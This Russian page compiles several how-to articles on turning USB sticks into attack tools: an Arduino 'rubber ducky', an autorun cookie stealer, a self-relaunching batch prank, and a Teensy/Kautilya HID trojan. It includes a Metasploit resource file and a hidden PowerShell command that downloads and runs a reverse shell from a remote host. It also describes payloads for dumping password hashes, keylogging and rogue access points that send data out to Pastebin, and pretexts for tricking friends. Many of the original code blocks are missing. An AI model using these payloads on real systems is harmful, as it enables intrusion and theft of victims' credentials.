Как сделать флешку с вирусом
Перейти к содержимому

Как сделать флешку с вирусом

  • автор:

Взлом компьютера за 3 секунды. Делаем USB-уточку с нуля на Arduino

Начнём с традиционного «Этот материал представлен только в образовательных целях». Если вы используете эту информацию для взлома HBO и выпуска следующего сезона «Игры престолов» бесплатно на YouTube, ну… здорово. В том смысле, что я никак не поощряю подобное поведение.

Если не знаете, что такое «резиновая уточка» (USB Rubber Ducky), это устройство, которое сделал Hak5, на фото. Оно выглядит и ведёт себя как обычная флешка, но её можно запрограммировать на очень быстрый ввод клавиш с клавиатуры. «Уточка» способна взломать любую систему за несколько секунд. Единственный недостаток — вам понадобится физический доступ к компьютеру. И ещё она стоит $50, вот почему я написал эту статью.

Мы используем 5V Adafruit Trinket и кабель microUSB — вот и всё, что нам понадобится.

К счастью, Adafruit предоставляет библиотеку для интерфейса клавиатуры по USB, так что сразу делаем #include . Вам понадобится установить библиотеку, следуя этой инструкции.

Можем поиграться с библиотекой для начала, начнём с инициализации флэшки как HID-устройства методом begin().

Выглядит неплохо. Теперь запустим команды на компьютере жертвы. Это можно сделать, «нажав» клавишу Windows, набрав cmd, Enter, а затем саму команду.

Отлично. Создадим эксплоит во фреймворке Metasploit.

Будем использовать модуль web_delivery. Я выбрал его из-за высокой скорости и низкой вероятности срабатывания антивируса. Он также ничего не пишет на диск, так что не оставит следов по окончании работы.

Здесь мы ломаем 64-битную Windows 10, так что выберем мишенью PowerShell, но имейте в виду, это не эксплоит против PowerShell. Мы просто используем оболочку, чтобы скачать нужные файлы с сервера.

Нужно сказать нашей программе, откуда брать бинарники:

Дальше указываем порт, который не вызовет подозрений, что насчёт 443? 😉

Metasploit каждый раз генерирует случайный URIPATH, а мы хотим иметь возможность запускать и останавливать прослушку порта в любой момент без необходимости перекомпилировать код для флешки.

Теперь нужно выбрать Powershell в качестве метода доставки. Эксплоит поддерживает три цели, помеченные идентификаторами: это 0: Python, 1: PHP, и 2: Powershell.

Теперь задаём полезную нагрузку. Я использую reverse_https, ведь мы работаем по 443-му порту. Для большинства систем обнаружения вторжений будет выглядеть как обычное соединение.

set PAYLOAD windows/meterpreter/reverse_https

И наконец exploit .

Чтобы удобно было останавливать и возобновлять прослушку порта, создадим конфигурационный файл: usb.rc.

use exploit/multi/script/web_delivery
set LHOST 1.2.3.4
set LPORT 443
set URIPATH /
set TARGET 2
set PAYLOAD windows/meterpreter/reverse_https
exploit

Получаем полезную нагрузку для запуска на компьютере жертвы:

powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring(‘http://1.2.3.4:8080/’);

Теперь можем запустить это с флэшки.

Работает очень неплохо. Нам нужно около 40 секунд, чтобы поиметь Дейнерис, я имею в виду компьютер жертвы.

Из-за ограниченной мощности «уточки» загрузчик не доступен постоянно, как в обычной Arduino, вы можете загрузить код только когда нажмёте кнопку на флешке или в течение первых 30 секунд работы. То есть первые 30 секунд после подключения флешки мы ждём, пока код реально сработает, а затем ещё 10 секунд для набора и выполнения скрипта. Было бы очень полезно сократить время доступа на 75%. Вот этот хороший человек отредактировал прошивку, чтобы пропустить загрузчик при подключении. Мы взяли код и перепрошили флэшку, перезагрузили код и та-дам — всё работает. Но можно сделать ещё лучше: хорошо бы спрятать микросхему в корпус, чтобы она не вызывала подозрений.

Я выбрал одну из тех неприметных USB-флешек, которые рекрутеры раздают миллионами, и заказал эти классные маленькие OTG-адаптеры microUSB − USB A. Пришлось отрезать ненужные части печатной платы, чтобы она поместилась в корпус, всунул OTG-адаптер в корпус USB A и заклеил всё суперклеем. По мне так выглядит вообще не подозрительно, но всё-таки 10 секунд — это немалое время, особенно когда прячешься от драконов.

Вы также можете заказать Arduino Pro Micro на Amazon примерно за $10. Если есть терпение, то можно даже найти на eBay примерно за $3 или $4. У меня не нашлось USB-флэшки достаточно большого размера для Pro Micro, так что я подключил OTG-адаптер, перемотал его изолентой и на этом успокоился.

Нужно немного изменить программу, потому что мы используем другую библиотеку, но работать она будет как и раньше.

Самое большое преимущество Pro Micro — это скорость. Теперь нам нужно всего 3 секунды физического доступа. Настоящая атака на ходу. Если вы намерены применить эту силу, делайте это ради благого дела. Убейте Серсею.

Делаем флэшку для кражи паролей

IB Tree

Cтатья носит образовательный характер, мы ни к чему не призываем и не обязываем. Информация представлена исключительно в ознакомительных целях.

Стиллер ворует cookie с браузера и с помощью специальной программы расшифровывает их. На выходе вы получаете готовые пароли. Для тех кто в бункере: сookie-файлы — зашифрованные текстовые документы, в которых хранится основная информация о пользователе, который юзает браузер. В эту информацию входит статистика использования браузера, персональные настройки, сохранённые логины и пароли, а также многое другое.

Плюсы и минусы способа

  1. Есть смысл стиллить куки только тогда, когда вы уверены, что жертва сохраняет пароли в браузере.
  2. Несовместимость с WINDOWS 10, и последними версиями семёрки
  1. Метод не палится антивирусом.
  2. Кто бы что ни говорил, а человека взломать легче, чем компьютер. Предлогов может быть море. Попросить друга прийти к нему с флешкой, и скачать музыку и тд.

НУ А ТЕПЕРЬ К ДЕЛУ

Создаём на флешке 2 текстовых файла. Первый называем “autorun.inf” а второй — “stealer.bat” *.bat — исполняемое расширение файла. Т.е. его можно использовать как программку*

В первый прописываем такие строчки:

Первый файл отвечает за автозапуск стиллера. Второй — непосредственно сам стиллер. Его следует наполнить такими строчками:

После этого “скрываем” получившиеся файлы, и можем идти стиллить пароли и после того, как операция выполнена успешно — возвращаемся домой, через “Панель управления->Оформление и персонализация->Показ скрытых папок и файлов” отображаем скрытые на флешке файлы.

Свои куки на СВОЁМ компьютере удаляем, или скидываем на флешку. А на их место копируем полученные.

Теперь Скачиваем WebBrowserPassView. Лично я использовал портативную версию. В этой программе уже ничего не надо нажимать — она сама загрузит и расшифрует куки из ваших браузеров. Напоминаю, не забудьте заменить свои файлы на полученные!

Возвращаясь к минусам, описанным выше следует решить какой способ стиллинга использовать. Если у жертвы стоит последняя версия винды семёрки, или вообще десятка, тогда стиллинг лучше всего осуществлять вручную. То есть надо прийти к жертве домой, естественно заранее придумав предлог, подключить флешку к ПК, и запустить батник вручную.

Компьютерный вирус своими руками

Небольшая статья по созданию «вируса» Именно в кавычках, потому что это вовсе не вирус, а совсем безобидный файл. Этой статьей я бы хотел довести до пользователей, что нужно больше разбираться в компьютерах и командах, чтобы избежать многих проблем. Улучшайте свою компьютерную грамотность

Итак, я Вам покажу как можно заставить тормозить компьютер стандартными средствами Windows . А если точнее, то я буду использовать Командную строку и её команды для написания файлов.

Ну что ж, начнём создавать шалость

1) Открываем Блокнот и вставляем туда следующий код:

Далее нужно сохранить его (меню ФайлСохранить как) с расширением bat (например vinda.bat). Не буду слишком вдаваться в подробности сохранения.

Раскрою сразу карты, а точнее объясню (для тех кто не догадался) что делает каждая команда.

md c:\vindavoz — командой md создаём на диске С папку vindavoz

echo start c:\vindavoz\virus.bat>c:\vindavoz\virus.bat — самая вредная строка Команда echo используется для вывода сообщений в окне и по логике она должна вывести start c:\vindavoz\virus.bat и заглохнуть, но тут у нас стоит знак > который показывает куда нужно выводить это сообщение, а именно файл c:\vindavoz\virus.bat . Т.е. получается что папка уже создана, а файл ещё нет.

del %0 — удаляет сам себя Это на тот вариант, если Вы хотите скопировать файл на компьютер жертвы или заставите его/её самостоятельно запустить и он исчезнет. Ну а вообще это больше для ознакомления, чем нужная вещь.

После того, как запуститься данный файл, он создаст на диске С bat-файл с содержимым start c:\papka\virus.bat . Этот код внутри файла означает что он будет запускать себя постоянно!

Теперь осталось только заставить жертву запустить этот файл (созданный на диске С).
Делается это тоже довольно легко. Достаточно прописать в любом ярлыке (желательно в том, который чаще всего используется, например игра) путь к нашему «вирусу» , а именно в поле Объект пишем «c:\vindavoz\virus.bat» .

В итоге получается такой замкнутый процесс, когда файл запускает каждый раз сам себя, а на экране это отображается как бесконечно долгое и быстрое появление окон командной строки. Этот процесс будет ооочень быстрым и будет продолжаться довольно долго.
Но тут всё зависит от оперативной памяти на компьютере-жертве, но она всё равно когда-нибудь забьется от стольких процессов и комп зависнет.

Весь процесс можно остановить нажав кнопку Pause/Break

2) Теперь немного модернизируем это действие. Точнее заставим «зациклиться» кое-что «потяжелее», например стандартный редактор изображений Paint

Код немного изменю, чтобы показать другой способ зацикливания:

В первой строке создаем метку, во второй строке запускаем стандартный Paint, в третьей строке возвращаемся снова к метке.

Узнать какие ещё можно использовать стандартные программы/утилиты можно посмотрев и прочитав статью Системные утилиты в Windows

Вместо стандартный и простых утилит можно использовать и «покруче», например фотошоп или офис )

3) Теперь снова изменим немного наш первый файл, но таким образом, чтобы мало что могло ему помочь Это уже более серьезно, поэтому код и комментарии я скрою от незарегистрированных пользователей.
Код:

Да, мы немного изменили первоначальный вид, несколько его увеличив. Что же добавилось? Первые две строки и последнюю Вы уже знаете, поэтому распишу лишь следующие:

Ну а дальше всё становится понятно.
Поле для размышлений велико. Эксперементируйте

Статья по самостоятельному созданию не вредного вируса написана исключительно в ознакомительных целях!

Создаем свой хардварный USB-троян

У современных ОС есть интересная особенность — они полностью доверяют устройствам вроде клавиатуры или мыши. Соответственно, если собрать девайс, который будет эмулировать нужный ввод, и подключить его к компьютеру, то можно творить все что угодно. Этим и пользуются злоумышленники.

WARNING

Информация представлена исключительно в образовательных целях. Любое ее использование в неправомерных целях может караться по всей строгости закона РФ (статьи 272 и 273 Уголовного кодекса). Ни автор, ни редакция в этом случае ответственности не несут. Думай головой.

Маленький пример

Начну с небольшой демонстрации. Представь: специалист по безопасности проводит внутренний пентест в некоторой компании и видит, что один из сотрудников часто оставляет станцию незалоченной. Очевидный путь — подойти и выполнить несколько «злобных» команд, пока этого никто не видит. Однако есть серьезный риск быть пойманным за чужим рабочим местом да еще набирающим что-то непонятное в черном окне консоли :). А если бы у исследователя было устройство, которое при подключении само бы набирало заранее запрограммированные команды? Подойти и незаметно вставить такой девайс — уже не слишком большая проблема. Или другой пример. Пусть это будет уже злоумышленник, у которого нет физического доступа к компьютерам. Если замаскировать девайс под видом мышки, флешки или 3G-модема, то есть шанс, что его без лишней помощи вставит кто-то из самих же сотрудников. Известны случаи, когда такие «протрояненные» девайсы отправлялись просто по почте в качестве сувенирки. Процент пользователей, которые, не подозревая о подвохе, подключают устройство к компьютеру, достаточно высок. При этом ни система, ни, к примеру, антивирус не замечают подвоха — для них это обычная клавиатура. Почему так происходит?

HID-устройства

Для начала надо разобраться с понятием Human Interface Device, или HID. В Википедии говорится, что HID — тип компьютерного устройства, которое взаимодействует напрямую с человеком, наиболее часто принимает входные данные от человека и предоставляет ему выходные данные. Самые распространенные типы HID-устройств — это клавиатуры, мыши и джойстики. С точки зрения компьютерной системы HID-устройства являются полностью доверенными и в основном рассматриваются как простой интерфейс между пользователем и машиной. Когда ты вставляешь в компьютер новую клавиатуру и мышь, никто у тебя не спрашивает разрешения на их установку, а драйверы чаще всего устанавливаются автоматически. Такое безграничное доверие может выйти боком для пользователя и давно замечено специалистами по информационной безопасности. Еще в 2010 году на хакерской конференции DEFCON небезызвестные Irongeek и Dave ReL1k подробно рассказывали об использовании HID-устройств для проверки безопасности систем. С тех пор в плане защиты не изменилось ровным счетом ничего. И собрать девайс, который под видом клавиатуры будет выполнять запрограммированные действия, ничто не мешает и сейчас, в чем я убедился в рамках моего исследования.

Плата Teensy

За основу такого USB-девайса была выбрана плата Teensy++ 2.0. Это программируемый микроконтроллер, который изначально идет вместе с полноценным USB-портом. Среди примеров использования Teensy, в огромном количестве собранных на официальном сайте, — LED-футболка, которая с помощью диодов выводит различные изображения, станок для рисования маркером, наносящим нужный рисунок на любую ровную поверхность, считыватель RFID-карточек, детектор движения и еще десятки полезного и не очень «самопала». Ты наверняка слышал о платах Arduino и ее аналогах, так вот Teensy — очень похожий проект. Но что важно для моей задачи: на Teensy чрезвычайно просто реализовать HID-устройство, которое будет определяться системой как клавиатура или, к примеру, мышь. Поскольку плата изначально снабжена USB-портом, то мне даже не пришлось брать в руки паяльник и выполнять какие-либо хардкорные вмешательства. Все, что было нужно, — написать правильную программу. Замечу, что у платы есть несколько версий, но я выбрал самую навороченную и дорогую — Teensy++ 2.0. Ее можно заказать на официальном сайте проекта pjrc.com всего за 24 доллара.

Ограничения Teensy

Есть один нюанс, который сильно усложняет Teensy жизнь. Поскольку мы используем эмуляцию HID-устройства, то мы можем говорить с системой, но не можем ее услышать. Это основное ограничение при написании пэйлоадов для Teensy, которое делает пэйлоады менее чувствительными к состоянию системы. Разработчику боевых нагрузок придется заранее определить все возможные ситуации и реакцию системы, потому что во время выполнения прочитать ответ системы будет невозможно. Единственная вещь, которую Teensy может считать, когда используется в качестве клавиатуры, — это состояние кнопок CAPS, NUM и SCROLL. Еще одним ограничением является маленький размер памяти устройства, но с этим можно жить, особенно если подключить к Teensy дополнительный носитель данных, например SD-карту.

Hello world для железки

Teensy, как и платы Arduino, использует похожий процессор Atmel AVR, поэтому можно взять ту же среду разработки — Arduino Development Environment (arduino.cc), ее также называют ADE. Последняя бесплатно доступна для всех популярных ОС (Windows, Linux, Mac OS X) и, помимо редактирования кода, позволяет залить программу в микроконтроллер. Чтобы полноценно использовать ее для работы с Teensy, необходимо также установить дополнительный аддон Teensyduino (pjrc.com/teensy/teensyduino.html). Надстройка, в частности, сразу предоставляет возможность перевести Teensy в режим эмуляции клавиатуры: это делается в ADE через меню «Tools —> Boards —> USB Keyboard». Если вставить девайс в компьютер, то он сразу определится как клава. Однако происходить ничего не будет — пока ничего не запрограммировано.

Среда разработки Arduino Development Environment с установленным плагином для совместимости с Teensy
Среда разработки Arduino Development Environment с установленным плагином для совместимости с Teensy

Что представляет собой программа или, как ее называют в здешней терминологии, скетч для Teensy? Разработка осуществляется с помощью С-подобного синтаксиса. Программисту доступны переменные, методы, условные операторы, указатели — короче говоря, все, что нужно для счастья. Любой скетч должен содержать функции setup() и loop(): первая вызывается один раз во время запуска, а вторая в цикле выполняет написанный внутри нее код. Функции могут быть даже пустыми, однако присутствовать должны — иначе компиляция будет завершаться неудачей. Приведу пример простейшего кода:

Как видишь, для эмуляции ввода используется уже готовая функция Keyboard.print(). Причем ввод будет повторяться, потому что вызов осуществляется из функции loop(). Задержка, реализованная с помощью delay(), нужна для того, чтобы повторение ввода не происходило слишком быстро. В документации подробнейшим образом описываются более сложные случаи эмуляции и клавиатуры, и мышки, и джойстика — я же на этом описание программирования Teensy закончу. В ходе своего исследования я уже создал все необходимые скетчи, которые могут понадобиться пентестеру, и оформил их в виде готового набора инструментов Kautilya (code.google.com/p/kautilya), который доступен с открытыми исходниками всем желающим.

Тулкит Kautilya

В ходе лекций о Teensy я заметил, что очень часто у пентестеров банально не хватает времени для программирования микроконтроллера под свои нужды. В результате они просто отказываются от этого инструмента. Я решил максимально упростить задачу и написал на Ruby скрипт, спрашивающий некоторые параметры и на выходе выдающий готовый скетч, который можно загрузить в Teensy. Благодаря этому снабдить микроконтроллер боевой нагрузкой можно вообще без знания о том, как пишутся программы для микроконтроллера.

Управление тулкитом Kautilya осуществляется через консольное меню
Управление тулкитом Kautilya осуществляется через консольное меню

Чтобы лучше понимать, что зашито внутри Kautilya, предлагаю рассмотреть, как бы выглядел пентест Windows 7 машины с помощью HID-устройства, если бы необходимо было начинать с нуля. Скорее всего, это были бы следующие этапы:

  1. Распознать операционную систему с точки зрения USB-буфера.
  2. Выяснить поддерживаемые команды и научиться с их помощью реализовывать нужные нам действия в системе с помощью PowerShell- и/или VBS-скриптов.
  3. Определить встроенные механизмы безопасности (такие как UAC и политика запуска PowerShell-скриптов), которые могут проверять привилегированные команды, и затем найти способ их обходить.
  4. Узнать время, затрачиваемое ОС на выполнение различных команд.
  5. Записать команды и скрипты на плату Teensy.
  6. Узнать, какие фокусы может выкинуть командная строка, когда Teensy будет передавать команды (эмулировать ввод с клавиатуры) на машину жертвы.
  7. Постараться быть как можно незаметней на компьютере жертвы.
  8. Протестировать пэйлоад и сделать окончательный скетч.
  9. Скомпилировать скетч и залить на Teensy.
  10. Присоединить девайс к машине жертвы или сделать так, чтобы она сделала это сама (например, с помощью социальной инженерии).
  11. Получить результат :).

Автор этой статьи живет в Индии, а тулкит Kautilya назван в честь индийского стратега, экономиста и политолога Чанакья (Каутилья — один из его псевдонимов).

Следующие несколько строк могут выглядеть как самореклама ;). Kautilya автоматизирует шаги с первого по восьмой. Другими словами, с использованием тулкита исследователю достаточно:

  1. Выбрать через консольное меню Kautilya готовую боевую нагрузку и указать опции — в результате будет сгенерирован готовый скетч (*.ino или *.pde файл).
  2. Залить скетч на плату Teensy.
  3. Присоединить девайс к машине-жертве.
  4. Наслаждаться победой!

В настоящий момент тулкит содержит в себе пэйлоады для Windows 7 и Linux (протестирован на Ubuntu 11.4). Чтобы не быть голословным, предлагаю изучить некоторые из них и посмотреть, как они работают, если на машине жертвы используется Windows 7.

Создаем скетч для дампа пользовательских паролей
Создаем скетч для дампа пользовательских паролей

Есть ли способ защититься?

Я вижу два основных способа защиты от подобных атак на Windows-системах:

  1. Запретить установку съемных устройств — это можно сделать с помощью групповой политики безопасности (gpedit.msc) как для локальной машины, так и для рабочих станций в домене. Если перейти в «Административные шаблоны —> Система —> Установка устройства —> Ограничения на установку устройств», то ты увидишь различные настройки для ограничения установки устройств. Я бы рекомендовал включить опцию «Запретить установку съемных устройств», после этого ни одно устройство подключить к системе будет уже нельзя. Кроме того, запрещено будет и обновление драйверов для уже установленных устройств. Установить новое устройство сможет только администратор, да и то только после активации опции «Разрешить администраторам заменять политики ограничения установки устройств». Имей в виду: если речь идет об организации, то это непременно обернется кошмаром для пользователей, которые, не обнаружив привычный Plug’n’Play, сразу же замучают админа просьбами посмотреть их компьютер. А что делать?
  2. Поступить радикально и запретить физический доступ к USB-портам. К сожалению, чаще всего это не представляется возможным — в большой компании всегда останется лазейка. Некоторые производители материнских плат заявляют, что их защитные решения умеют блокировать подобные зловредные устройства (в том числе собранные на базе Teensy). Но я бы рекомендовал не сильно доверять подобным заявлениям: проверял я тут одну защиту, и она была бесполезна чуть больше чем полностью.

Запрещаем установку внешних устройств для предотвращения атак через USB-устройства
Запрещаем установку внешних устройств для предотвращения атак через USB-устройства

Примеры использования

Payload: скачать и выполнить

Как я уже говорил, боевая нагрузка выбирается через консольное меню Kautilya. Один из простых пэйлоадов — Download and Execute, который загружает файл из интернета и запускает его на целевой системе. Естественно, при создании программы для микроконтроллера необходимо указать, откуда этот файл нужно взять. Интересно, что для хостинга бинарника предлагается разместить его на сервисе Pastebin.com, предварительно обработав его для хранения в текстовом виде, а для соответствующей конвертации пригодится специальный скрипт exetotext.ps1, который лежит в папке Kautilya/extras. В момент выполнения на машине-жертве программа скачивает текстовый файл, преобразует его обратно в исполняемый exe’шник и выполняет его в фоновом режиме. Это может быть windows reverse meterpreter (по сути, реверс-шелл): если подключить девайс с таким скетчем к исследуемому компьютеру, то пентестер очень скоро получит meterpreter-сессию. Причем нагрузка умеет обходить execution policy и не отображает никаких окон на целевом компьютере.

Интересно рассмотреть, что все-таки генерирует Kautilya. Приведу ниже скрипт, поясняя важные моменты небольшими комментариями:

Еще раз поясню: этот сгенерированный скрипт сразу готов для загрузки на Teensy через среду разработки Arduino Development Environment.

Payload: сдампить хеши паролей

Другой пэйлоад может быть использован для дампа хешей паролей с Windows 7 машины. Для того чтобы его применить, исследователю необходимо предварительно загрузить скрипт powerdump meterpreter из метасплойта на Pastebin, откуда он будет впоследствии загружен на жертву. Как известно, этот скрипт работает только с привилегиями SYSTEM, которые можно получить, если добавить задание в стандартный планировщик задач. Однако этот старый добрый трюк сработает только из-под аккаунта администратора. Чтобы передать полученные данные, скетч опять же использует сервис Pastebin, но не раскрывает хеши для всех подряд — вместо этого он публикует их в виде приватного поста (недоступен для посторонних). Правда, для этого предварительно нужно зарегистрироваться в сервисе и получить свой ключ разработчика (api developer key), который скетч будет использовать для публикации данных. Логин/пароль и ключ для Pastebin, а также имя задачи планировщика — все это, само собой, запросит Kautilya при создании программы для Teensy. Если залить полученный скетч и вставить в компьютер пользователя, который работает с правами администратора, то на Pastebin.com очень скоро окажутся хеши пользовательских паролей, которые часто брутятся.

После подключения устройства, хеши паролей были загружены на Pastebin.com
После подключения устройства, хеши паролей были загружены на Pastebin.com

Payload: кейлоггер

Есть среди боевых нагрузок и кейлоггер, представляющий собой PowerShell-скрипт, который сохраняет перехваченные нажатия клавиш в приватный пост на Pastebin. Публикация осуществляется через определенный промежуток времени. Правда, в своем непонятном формате. Чтобы перевести данные в понятный вид, необходимо использовать скрипт parsekeys.ps1, который лежит в папке Kautilya/extras. Для успешной работы скрипта все данные с Pastebin должны быть сохранены в файле data.txt. По завершении работы он создаст файл Logged_keys.txt, содержащий данные о нажатых клавишах в читабельном виде. Такой простой кейлоггер способен сохранять данные, вводимые в веб-формах и текстовых полях приложений.

Payload: создание фейковой точки доступа

Этот необычный пэйлоад использует штатные возможности Windows 7 по созданию хотспота и поднимает точку доступа на машине-жертве, запуская meterpreter bind shell. Соответственно, в случае успеха пентестер может подключиться к созданной беспроводной сети и добраться до шелла (этот сценарий, кстати, только выглядит экзотическим, но на деле может быть очень эффективен). Шелл запускается в оперативной памяти и поэтому незаметен (поблагодарим за него Мэта с exploit-monday.com). Чтобы создать программу для Teensy, исследователю необходимо сначала сгенерировать bind meterpreter пэйлоад, используя команды из файла extraspayloadgen.txt, и затем сгенерированную нагрузку скопировать в файл srcrogue_ap.txt. При создании программы Kautilya запросит SSID для точки доступа, ключ для подключения к беспроводной сети, а также порт (например, 4444), на котором будут приниматься подключения. Если нагрузка выполнится успешно и беспроводная сеть поднимется, то, подключившись к ней, можно зайти в настройки и посмотреть шлюз по умолчанию — это и есть адрес целевого компьютера. Исследователь может подключиться к порту 4444, используя msf listener, и — бинго! — получить meterpreter-сессию. Ты можешь немного удивиться, ведь по идее встроенный брандмауэр Windows должен был заблокировать подключение. Но если ты взглянешь на исходники сгенерированного скетча, то увидишь, что Kautilya добавил свой пэйлоад в список исключений стандартного файрвола винды.

Payload: сбор информации

В наборе тулкита есть пэйлоад и для сбора ценной информации. В стандартной вариации программа с помощью специального PowerShell-скрипта и реестра извлекает список активных пользователей, PowerShell-окружение, доверенные хосты PuTTY, сохраненные сессии PuTTY, список расшаренных ресурсов машины, переменные окружения, список установленных приложений, доменное имя, содержимое hosts-файла, список запущенных служб, политику учетных записей, локальных пользователей, локальные группы и информацию о WLAN. Полученные данные, как обычно, сохраняются на Pastebin в приватном посте.

Пример из жизни

Вопрос, который мне постоянно задают: «Действительно ли все бывает полезно в настоящих тестах на проникновение?» Да. Я бы хотел поделиться историей одного пентеста. Я выполнял тест на проникновение для крупной индийской финансовой компании. Это был тест типа «черный ящик», то есть я был поставлен в условия настоящего злоумышленника без доступа к чему-либо. Серверы компании, доступные из интернета, были надежно защищены, и придраться там было не к чему. Что делать, непонятно. Тогда я пошел в их офис и сказал охранникам на входе, что я нашел несколько мышек и флешек, которые выпали у какого-то работника из сумки. Все устройства были протроянены Teensy и содержали различные пэйлоады. Через полчаса я получил первый шелл (скорее всего, это был компьютер в комнате охраны). К концу дня у меня уже были привилегии локального администратора на многих компьютерах — судя по всему, охранники передали устройства в IT-отдел. Из протрояненных устройств 90% процентов были подключены хотя бы к одной системе, а 70% успешно выполнили заложенный в них пэйлоад. Клиент, вбухавший в безопасность кучу денег, был сильно удивлен и впечатлен подобным способом проникновения. Теперь эта брешь у них прикрыта. Что я хочу сказать? До тех пор пока операционные системы и защитные механизмы доверяют HID-устройствам, использовать их в качестве вектора атаки не будет проблемой для злоумышленников. При этом подобные способы атаки до сих пор многими специалистами по безопасности не рассматриваются всерьез. А зря.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *